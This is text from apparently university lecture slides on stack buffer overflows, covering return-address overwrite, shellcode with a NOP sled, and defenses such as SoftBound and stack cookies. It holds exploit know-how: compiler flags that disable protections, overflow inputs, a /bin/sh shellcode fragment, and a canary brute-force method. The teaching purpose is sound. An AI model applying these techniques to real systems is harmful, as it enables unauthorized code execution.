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Stack overflow
Insu Yun



Today’s lecture

• Understand what the stack overflow is

• Understand how to control PC using stack overflow

• Understand how to place shellcode in memory

• Understand how to calculate shellcode address and to launch a shell



Overflow

• Flow over boundary (i.e., over capacity)

• Many overflows in software security
• Stack overflow 
• Heap overflow 
• Integer overflow
• …



Stack overflow: History

• 1988: Morris worm
• The first internet worm (i.e., malware distributed by internet)
• Developed by Robert Morris (a professor at MIT) to measure internet size
• But his worm had a mistake (as always) and crashes several problems
• He used multiple vulnerabilities including stack overflow in fingerd

• 2020: Still prevalent, but more difficult to exploit thanks to stack 
protection, which we will explore next week



Review
void vuln(char *src) {
char buf[16];
strcpy(buf, src);

}

int main(int argc,
char *argv[]) {  

vuln(argv[1]);
}

; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret



Review
void vuln(char *src) {
char buf[16];
strcpy(buf, src);

}

int main(int argc,
char *argv[]) {  

vuln(argv[1]);
}

; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

Disable stack 
protection

gcc -z execstack
-fno-stack-protector
–fno-pic -no-pie
-mpreferred-stack-boundary=2
-m32 -O0 -o vuln vuln.c
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Disable stack 
protection

Disable Program Independent 
Executable(PIE)
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Disable DEP
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; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return addressesp

eip



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
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; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret
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main’s return address

main’s old ebpesp
ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebpesp
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argv



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebpesp
ebp

&argv[1]



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebpesp
ebp

argv[1]



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebp

argv[1]esp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebp

argv[1]

vuln’s return addressesp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebp

argv[1]

vuln’s return address

vuln’s old ebpesp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebp

argv[1]

vuln’s return address

vuln’s old ebpesp
ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebp

argv[1]

vuln’s return address

vuln’s old ebp

-> buf (size: 16)

esp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebp

argv[1]

vuln’s return address

vuln’s old ebp

-> buf (size: 16)

esp

ebp

Let’s assume
argv[1] = “A” * 24



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebp

argv[1]

vuln’s return address

vuln’s old ebp

-> buf (size: 16)
[”A” * 16]

esp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebp

argv[1]

vuln’s return address
[0x41414141]

vuln’s old ebp
[0x41414141]

-> buf (size: 16)
[”A” * 16]esp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebp

argv[1]

vuln’s return address
[0x41414141]

vuln’s old ebp
[0x41414141]

-> buf (size: 16)
[”A” * 16]

esp

ebp



; vuln
0x08048426 <+0>:     push   ebp
0x08048427 <+1>:     mov    ebp,esp
0x08048429 <+3>:     sub    esp,0x10
0x0804842c <+6>:     push   DWORD PTR [ebp+0x8]
0x0804842f <+9>:     lea    eax,[ebp-0x10]
0x08048432 <+12>:    push   eax
0x08048433 <+13>:    call   0x80482e0 <strcpy@plt>
0x08048438 <+18>:    add    esp,0x8
0x0804843b <+21>:    nop
0x0804843c <+22>:    leave
0x0804843d <+23>:    ret

; main
0x0804843e <+0>:     push   ebp
0x0804843f <+1>:     mov    ebp,esp
0x08048441 <+3>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048444 <+6>:     add    eax,0x4
0x08048447 <+9>:     mov    eax,DWORD PTR [eax]
0x08048449 <+11>:    push   eax
0x0804844a <+12>:    call   0x8048426 <vuln>
0x0804844f <+17>:    add    esp,0x4
0x08048452 <+20>:    mov    eax,0x0
0x08048457 <+25>:    leave
0x08048458 <+26>:    ret

envp

argv

argc

main’s return address

main’s old ebp

argv[1]

vuln’s return address
[0x41414141]

vuln’s old ebp
[0x41414141]

-> buf (size: 16)
[”A” * 16]

esp

ebp



Change PC to arbitrary address

• To change your eip into 0x44434241, what should be our input?

“A” * 16     #  buffer
+ “B” * 4    # old ebp
+ “\x41\x42\x43\x44”     
# retaddr

“A” * 16     #  buffer
+ “B” * 4    # old ebp
+ “\x44\x43\x42\x41”     
# retaddr
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Change PC to arbitrary address

• To change your eip into 0x44434241, what should be our input?

“A” * 16     #  buffer
+ “B” * 4    # old ebp
+ “\x41\x42\x43\x44”     
# retaddr

“A” * 16     #  buffer
+ “B” * 4    # old ebp
+ “\x44\x43\x42\x41”     
# retaddr

Little endian

Q: where to jump?
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Shellcode

• A small piece of code that is used as a part of exploitation
• Its name is originated from its typical job; spawning a shell
• However, it can do other tasks (e.g., file read shellcode, …)

int main() {
char* sh = "/bin/sh";
char *argv[] = {sh, NULL};
execve(sh, argv, NULL);

}

"\x31\xc0\x50\x68\x2f\x2f\x73”
"\x68\x68\x2f\x62\x69\x6e\x89”
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Where to put your shellcode? 
$ ./hello aaaa bbbb cccc

Description Example
NULL (8-byte) NULL

File name “/home/insu/hello”

Environment variable strings “COLUMNS=238”, “LANG=en_US.UTF-8”, …

Argument strings “/home/insu/hello”, “aaaa”, “bbbb”, “cccc”

… …

Environment variables { env1, env2, env3, …, envN, NULL }

Arguments { arg1, arg2, arg3, arg4, NULL }

… …

char* envp[]

char* argv[]

int argc 4



Where to put your shellcode? 
$ ./hello aaaa bbbb cccc

Description Example
NULL (8-byte) NULL

File name “/home/insu/hello”

Environment variable strings “COLUMNS=238”, “LANG=en_US.UTF-8”, …

Argument strings “/home/insu/hello”, “aaaa”, “bbbb”, “cccc”

… …

Environment variables { env1, env2, env3, …, envN, NULL }

Arguments { arg1, arg2, arg3, arg4, NULL }

… …

char* envp[]

char* argv[]

int argc 4

Use environment 
variables! Why?
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printf("%p\n", 

getenv("SHELLCODE"));
}
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Get an address of shellcode

int main() {
printf("%p\n", 

getenv("SHELLCODE"));
}
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Different program has different layout!
$ ./hello aaaa bbbb cccc

Description Example
NULL (8-byte) NULL

File name “/home/insu/hello”

Environment variable strings “COLUMNS=238”, “LANG=en_US.UTF-8”, …
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… …
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Arguments { arg1, arg2, arg3, arg4, NULL }

… …

char* envp[]

char* argv[]

int argc 4



Different program has different layout!
$ ./hello aaaa bbbb cccc

Description Example
NULL (8-byte) NULL

File name “/home/insu/hello”

Environment variable strings “COLUMNS=238”, “LANG=en_US.UTF-8”, …
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… …
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… …
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Different program has different layout!
$ ./hello aaaa bbbb cccc

Description Example
NULL (8-byte) NULL

File name “/home/insu/hello”

Environment variable strings “COLUMNS=238”, “LANG=en_US.UTF-8”, …

Argument strings “/home/insu/hello”, “aaaa”, “bbbb”, “cccc”

… …

Environment variables { env1, env2, env3, …, envN, NULL }

Arguments { arg1, arg2, arg3, arg4, NULL }

… …

char* envp[]

char* argv[]

int argc 4

Different file 
name! GDB inserts 

additional env
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NOP sled

• NOP: No operation
• OPCODE = “\x90”

Use address = getenv() +  0x1000



Make your exploit more robust using NOP sled

EIP

Shellcode

NOP
NOP

NOP
NOP
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Boom!!



Stack protection
Insu Yun

Most of materials from CS419/579 Cyber Attacks & Defense in OSU



Today’s lecture

• Understand spatial memory safety

• Understand SoftBound

• Understand stack cookie

• Understand weakness of stack cookie
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How to defend against stack overflow?

• Prevent buffer overflow!
• A direct defense
• Could be accurate but could be slow..

• Make exploit hard!
• An indirect defense
• Could be inaccurate but could be fast..

Exploit Mitigation
Stack cookie, DEP, ASLR, etc.

Softbound, etc.



Softbound: Bound checking for C!
In Proceedings of
Programming Language Design and Implementation
(PLDI) 2009



Softbound: Bound checking for C!

Memory Safety = Temporal Safety (e.g., use-after-free) 
+ Spatial Safety (e.g., buffer overflow)

In Proceedings of
Programming Language Design and Implementation
(PLDI) 2009



Spatial safety

• Guarantee that an access does not  go 
1) behind the Base  and 
2) over the Bound

a

Base Bounda[-1] a[512]
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Softbound: Bounds checking

• A FAT pointer
• char *a

• char *a_base;
• char *a_bound;

• Allocation
• a = (char*)malloc(512)

• a_base = a;
• a_bound = a+512

• Access must be between [a_base, a_bound)
• a[0], a[1], a[2], …, and a[511] are OK
• a[512] NOT OK 
• a[-1]    NOT OK

A
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• Propagation
• char *b = a;
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• c_base = b_base;
• c_bound = b_bound;
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Softbound: Bounds checking

• Propagation
• char *b = a;

• b_base = a_base;
• b_bound = a_bound;

• char *c = &b[2];
• c_base = b_base;
• c_bound = b_bound;
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Softbound: Bounds checking

• Propagation
• char *c = &b[2];

• c_base = b_base;
• c_bound = b_bound;

• c[1] = ‘a’;
• c== b+2 == a+2
• c+1 == b+3 == a+3
• c_base <= c+1 && c+1 < c_bound

• c[510] = ‘a’;
• c == b+2 == a+2
• c+510 == b+510+2 == a+510+2 == a+512
• c_base <= c+510 but c+510 >= c_bound
• Disallow write!

A

Base Bounda[-1] a[512]

B C



Softbound: Bounds checking

• Buffer?
• strcpy(c, “A”*510)

• When copying 510th character:
• c[510] = ’A’;

• c+510 > c_bound (c+510 == a+512 > bound…)
• Detect buffer overrun!

• This is how Java and other languages (e.g., rust) protect buffer overrun
• Even for std::vector in C++



In Proceedings of
Programming Language Design and Implemenetation
(PLDI) 2009



Drawbacks

• +2x overhead on storing a pointer
• char *a

• char *a_base;
• char *a_bound;

• +2x overhead on assignment
• char *b = a;

• b_base = a_base;
• b_bound = a_bound;

• +2 comparisons added on access
• c[i]

• if(c+i >= c_base)
• if(c+i < c_bound)



Drawbacks

• +2x overhead on storing a pointer
• char *a

• char *a_base;
• char *a_bound;

• +2x overhead on assignment
• char *b = a;

• b_base = a_base;
• b_bound = a_bound;

• +2 comparisons added on access
• c[i]

• if(c+i >= c_base)
• if(c+i < c_bound)

Many other problems…
Use more cache
More TLBs
etc….





Security vs. Performance

• 100% Buffer Overflow Free
• You pay +200% Performance Overhead
• Think about the economy…



An Economic Defense: Stack Cookie

• A defense specific to sequential stack overflow

• On a function call
• cookie = some_random_value

• Before the function returns
• if(cookie != some_random_value)

printf(“Your stack is smashed\n”);

COOKIE

BUFFER

BUFFER

BUFFER

SAVED %ebp

RETURN ADDR



Stack Cookie: Attack Example
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Stack Cookie: Attack Example
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Stack Cookie: Attack Example

• strcpy(buffer, “AAAABBBBCCCCDDDDEEEE\x35\x45\x04\x08”)

• On a function call
• cookie = some_random_value

• Before a function returns
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COOKIE
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RETURN ADDR

In Proceedings of
The 7th USENIX Security Symposium (1998)
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Stack Cookie

Cookie stored in -0xc(%ebp)

GCC ProPolice
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Cookie stored in -0xc(%ebp)

Get canary from %gs

Store canary at ebp-c
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Stack Cookie

Cookie stored in -0xc(%ebp)

Get canary from %gs

Store canary at ebp-c

Clear canary in %eax

Get canary in stack 
Xor that with value in %gs

GCC ProPolice



Stack Cookie in gcc (ProPolice)

Cookie stored in -0xc(%ebp)



https://tc.gts3.org/cs6265/2022/_static/tut.pdf



Stack Cookie: Overhead

• 2 memory move
• +1 for store, +1 for read

• 1 compare

• Per each function call

• 1~5% overhead
Benchmark: 
SPECint, SPECfloat



Stack Cookie: Weaknesses

• Effective for common mistakes
• strcpy/memcpy
• read/scanf
• Missing bound check in a for loop

• But can only block sequential overflow

• What if buffer[24] = 0xaa?

COOKIE

BUFFER

BUFFER

BUFFER

SAVED %ebp

RETURN ADDR
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Stack Cookie: Weaknesses

• Effective for common mistakes
• strcpy/memcpy
• read/scanf
• Missing bound check in a for loop

• But can only block sequential overflow

• What if buffer[24] = 0xaa?

COOKIE
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BUFFER

BUFFER

SAVED %ebp

RETURN ADDRaa



Stack Cookie: Weaknesses

• Fail if attacker can guess the cookie value
• strcpy(buf, “AAAABBBBCCCC\x44\x33\x22\x11EEEE…”)
• (stack-cookie-1)

• -> Use a random value for a cookie!
• Is rand() safe?

• See https://www.includehelp.com/c-programs/guess-a-random-number.aspx

0x11223344
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RETURN ADDR RET
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https://www.includehelp.com/c-programs/guess-a-random-number.aspx
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Stack Cookie: Weaknesses

• Fail if attacker can guess the cookie value
• strcpy(buf, “AAAABBBBCCCC\x44\x33\x22\x11EEEE…”)
• (stack-cookie-1)

• -> Use a random value for a cookie!
• Is rand() safe?

• See https://www.includehelp.com/c-programs/guess-a-random-number.aspx
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Stack Cookie: Weaknesses
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Stack Cookie: Weaknesses

• Security in 32-bit Random Cookie
• One chance over 232 (4.2 billion) trial
• Seems super secure!

• Fail if attacker can read the cookie value…

• Maybe you can’t read %gs:0x14
• But, what about -0xc(%ebp)?
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• Security in 32-bit Random Cookie
• One chance over 232 (4.2 billion) trial
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• Fail if attacker can read the cookie value…
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0x83ec5589

BUFFER

BUFFER

BUFFER

SAVED %ebp

RETURN ADDR RET

Cookie



Stack Cookie: Weaknesses

• Security in 32-bit Random Cookie
• One chance over 232 (4.2 billion) trial
• Seems super secure!

• Attacker can break this in 1024 trial
• If application uses fork()

0x83ec5589
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RETURN ADDR RET

Cookie



Stack Cookie: Weaknesses

• Random becomes non-random if fork()-ed..
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RETURN ADDR RET

Cookie fork()!
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Stack Cookie: Bypassing ProPolice

• Assumption
• A server program contains a sequential buffer overflow vulnerability
• A server program uses fork()
• A server program let the attacker know if it detected stack smashing or not

• E.g., an error message, “stack smashing detected”, etc.



Stack Cookie: Bypassing ProPolice

• Attack
• Try to guess only the last byte of the cookie
• 0x00 ~ 0xff (256 trials)

• Result
• Stack smashing detected on

• 00, 01, 02, 03, …, 0x88
• When testing 0x89

• No smashing and return correctly
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Stack Cookie: Bypassing ProPolice

• Attack
• Try to guess the second last byte of the cookie
• 0x00 ~ 0xff (256 trials)

• Result
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• When testing 0x55

• No smashing and return correctly
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BUFFER

BUFFER

BUFFER

SAVED %ebp

RETURN ADDR

AAAA

BBBB

CCCC

89000102

0x83ec5589



Stack Cookie: Bypassing ProPolice

• Attack
• Try to guess the second last byte of the cookie
• 0x00 ~ 0xff (256 trials)

• Result
• Stack smashing detected on

• 00, 01, 02, 03, …, 0x54
• When testing 0x55

• No smashing and return correctly

0x83ec5589

BUFFER

BUFFER

BUFFER

SAVED %ebp

RETURN ADDR

AAAA

